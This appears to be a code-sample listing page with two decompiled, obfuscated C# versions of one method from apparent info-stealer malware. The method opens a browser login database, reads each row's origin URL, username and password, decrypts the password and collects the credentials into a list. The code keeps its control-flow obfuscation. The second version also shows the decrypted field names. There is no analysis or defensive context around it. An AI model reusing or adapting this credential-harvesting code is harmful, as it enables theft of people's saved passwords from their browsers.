Пример #1
0
    // Token: 0x0600010B RID: 267 RVA: 0x00023B98 File Offset: 0x00021D98
    internal static List <clo> clq(string clz, string cmn, string cmo = "logins")
    {
        List <clo> list = new List <clo>();

        if (!File.Exists(clz))
        {
            return(list);
        }
        jwq jwq;

        try
        {
            jwq = new jwq(clz);
        }
        catch (Exception ex)
        {
            return(list);
        }
        if (!jwq.kry(cmo))
        {
            goto IL_51;
        }
        goto IL_82;
        uint num2;

        for (;;)
        {
IL_56:
            uint num;
            switch ((num = (num2 ^ 2142595151u)) % 5u)
            {
            case 0u:
                goto IL_82;

            case 2u:
                goto IL_51;

            case 3u:
                return(list);

            case 4u:
            {
                string text = string.Empty;
                num2 = (num * 1357431051u ^ 2030568141u);
                continue;
            }
            }
            break;
        }
        int    num3 = 0;
        int    num4 = checked (jwq.ktv() - 1);
        int    num5 = num3;
        string text2;
        string text3;

        for (;;)
        {
            if (num5 <= num4)
            {
                try
                {
                    text2 = jwq.kuv(num5, <Module> .smethod_0(575008));
                    text3 = jwq.kuv(num5, <Module> .smethod_0(574928));
                    string text = clw.cno(jwq.kuv(num5, <Module> .smethod_0(574976)));
                    if (!string.IsNullOrEmpty(text2))
                    {
                        for (;;)
                        {
IL_1CA:
                            uint num6 = 715850815u;
                            for (;;)
                            {
                                uint num;
                                switch ((num = (num6 ^ 2142595151u)) % 7u)
                                {
                                case 0u:
                                    goto IL_1CA;

                                case 1u:
                                    if (text != null)
                                    {
                                        num6 = (num * 605843938u ^ 2372533082u);
                                        continue;
                                    }
                                    break;

                                case 2u:
                                {
                                    clo clo = new clo();
                                    clo.cly = text2;
                                    num6    = (num * 3435803494u ^ 659907402u);
                                    continue;
                                }

                                case 3u:
                                    if (!string.IsNullOrEmpty(text3))
                                    {
                                        num6 = (num * 3766597328u ^ 13896220u);
                                        continue;
                                    }
                                    break;

                                case 5u:
                                {
                                    clo clo;
                                    clo.clx = cmn;
                                    list.Add(clo);
                                    num6 = (num * 4087290826u ^ 2154212212u);
                                    continue;
                                }

                                case 6u:
                                {
                                    clo clo;
                                    clo.clu = text3;
                                    clo.clv = text;
                                    num6    = (num * 425909484u ^ 3115526566u);
                                    continue;
                                }
                                }
                                goto Block_12;
                            }
                        }
                        Block_12 :;
                    }
                    goto IL_257;
                }
                catch (Exception ex2)
                {
                    for (;;)
                    {
IL_21A:
                        uint num7 = 623766739u;
                        for (;;)
                        {
                            uint num;
                            switch ((num = (num7 ^ 2142595151u)) % 3u)
                            {
                            case 0u:
                                goto IL_21A;

                            case 2u:
                                num7 = (num * 573121255u ^ 2921456160u);
                                continue;
                            }
                            goto Block_14;
                        }
                    }
Block_14:
                    goto IL_257;
                }
                goto IL_223;
IL_257:
                checked
                {
                    num5++;
                    goto IL_223;
                }
            }
            int num8 = 910093598;
IL_228:
            switch ((num8 ^ 2142595151) % 4)
            {
            case 1:
                return(list);

            case 2:
                continue;

            case 3:
IL_223:
                num8 = 1480378429;
                goto IL_228;
            }
            break;
        }
        List <clo> result;

        return(result);

IL_51:
        num2 = 2095154105u;
        goto IL_56;
IL_82:
        text2 = string.Empty;
        text3 = string.Empty;
        num2  = 1368682630u;
        goto IL_56;
    }
Пример #2
0
	// Token: 0x0600010B RID: 267 RVA: 0x000239BC File Offset: 0x00021BBC
	internal static List<clo> clq(string clz, string cmn, string cmo = "logins")
	{
		List<clo> list = new List<clo>();
		if (!File.Exists(clz))
		{
			return list;
		}
		jwq jwq;
		try
		{
			jwq = new jwq(clz);
		}
		catch (Exception ex)
		{
			return list;
		}
		if (jwq.kry(cmo))
		{
			goto IL_64;
		}
		IL_37:
		int num = 1270842645;
		IL_3C:
		switch ((num ^ 1908089068) % 4)
		{
		case 0:
		{
			IL_64:
			string text = string.Empty;
			num = 1978624386;
			goto IL_3C;
		}
		case 1:
			return list;
		case 3:
			goto IL_37;
		}
		string text2 = string.Empty;
		string text3 = string.Empty;
		int num2 = 0;
		int num3 = checked(jwq.ktv() - 1);
		int num4 = num2;
		for (;;)
		{
			if (num4 <= num3)
			{
				try
				{
					string text = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320624 -> "origin_url")));
					text2 = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320600 -> "username_value")));
					text3 = clw.cno(jwq.kuv(num4, <Module>.smethod_strings_decryptor(320672 -> "password_value"))));
					if (!string.IsNullOrEmpty(text))
					{
						for (;;)
						{
							IL_1B7:
							uint num5 = 1650759195u;
							for (;;)
							{
								uint num6;
								switch ((num6 = (num5 ^ 1908089068u)) % 7u)
								{
								case 0u:
								{
									clo clo;
									clo.clx = cmn;
									num5 = (num6 * 2319934876u ^ 2323269452u);
									continue;
								}
								case 1u:
								{
									clo clo = new clo();
									clo.cly = text;
									clo.clu = text2;
									clo.clv = text3;
									num5 = (num6 * 1239049928u ^ 2158681576u);
									continue;
								}
								case 2u:
									if (text3 != null)
									{
										num5 = (num6 * 2481761736u ^ 964362803u);
										continue;
									}
									break;
								case 3u:
								{
									clo clo;
									list.Add(clo);
									num5 = (num6 * 879716646u ^ 2833252949u);
									continue;
								}
								case 5u:
									if (!string.IsNullOrEmpty(text2))
									{
										num5 = (num6 * 2064738247u ^ 1166676366u);
										continue;
									}
									break;
								case 6u:
									goto IL_1B7;
								}
								goto Block_11;
							}
						}
						Block_11:;
					}
					goto IL_244;
				}
				catch (Exception ex2)
				{
					for (;;)
					{
						IL_207:
						uint num7 = 1239167220u;
						for (;;)
						{
							uint num6;
							switch ((num6 = (num7 ^ 1908089068u)) % 3u)
							{
							case 1u:
								num7 = (num6 * 3398486821u ^ 2647820122u);
								continue;
							case 2u:
								goto IL_207;
							}
							goto Block_13;
						}
					}
					Block_13:
					goto IL_244;
				}
				goto IL_210;
				IL_244:
				checked
				{
					num4++;
					goto IL_210;
				}
			}
			int num8 = 442132939;
			IL_215:
			switch ((num8 ^ 1908089068) % 4)
			{
			case 0:
				IL_210:
				num8 = 1592328438;
				goto IL_215;
			case 2:
				continue;
			case 3:
				return list;
			}
			break;
		}
		List<clo> result;
		return result;
	}